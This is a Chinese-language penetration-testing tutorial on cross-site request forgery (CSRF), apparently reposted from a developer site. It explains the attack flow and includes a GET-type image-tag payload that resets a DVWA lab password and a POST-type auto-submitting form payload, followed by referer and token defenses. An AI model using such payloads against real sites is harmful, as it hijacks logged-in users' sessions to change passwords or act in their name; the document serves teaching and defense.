概述
01 简介
CSRF(Cross-Site request Forgery)跨站请求伪造,它是一种挟持用户在当前已登录的web应用程序上执行非本意操作的方法。
过程描述:
- 用户通过浏览器访问并登录受信任网站A。
- 网站A验证通过后,返回cookie信息给浏览器。
- 用户在未登出网站A时,访问了恶意网站B。
- 恶意网站B返回给用户浏览器包含恶意请求网站A的代码。
- 在用户不知道的情况下,用户浏览器携带着步骤2的cookie,访问了网站A,完成攻击。
分析:http协议是无状态的,通过cokies记录会话信息,用户登录网站后,浏览器爆粗cookies信息。再次访问网站时,浏览器会将cookies附带在请求中。且接口只检查cookies信息,无法区分是否用户主动发起的请求。
02 危害
添加账号
重置密码
任意发帖
……
03 示例
GET型
以dvwa靶场(192.168.77.100)get型csrf为例:
- 构造 payload
<html> <body> <img src="http://192.168.77.100/dvwa/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123&Change=%E6%94%B9%E5%8F%98" /> </body> </html>
- 发送恶意链接(http://192.168.77.130/1.html)给用户诱导用户点击
- 模拟用户访问http://192.168.77.130/1.html,携带用户cookie,执行了重置密码操作。如下:
- dvwa密码已被重置为admin123
POST型
需要构造form表单,在网页加载时自动提交,如下:
<html>
<body>
<form action="http://a.com/resetpasswd" method="post">
<input type="hidden" name="user" value="xiaoming" />
<input type="hidden" name="password" value="123456" />
<script>documnet.forms[0].submit()</script>
</form>
</body>
</html>
04 漏洞点
- 请求没有refer,token字段,即服务器不判断来源,常常存在csrf。
- 有refer,token字段,但是删除这两个字段仍然可以请求成功,说明存在csrf漏洞。
04 防御措施
- 检查referer,确认来源可信
- 添加token,为接口生成随机token,定义失效时间,在合法请求中带上toke
05 问题
实际渗透测试过程中,发现Edge和chrome并没有携带A网站的cookie信息,原因是受浏览器同源策略的限制,非同源网站无法获取cookie信息,若解决该问题需要解决跨域问题。可参照https://www.cnblogs.com/snowie/p/15044091.html
最后
以上就是纯真芝麻为你收集整理的【渗透测试基础】跨站请求伪造CSRF的全部内容,希望文章能够帮你解决【渗透测试基础】跨站请求伪造CSRF所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复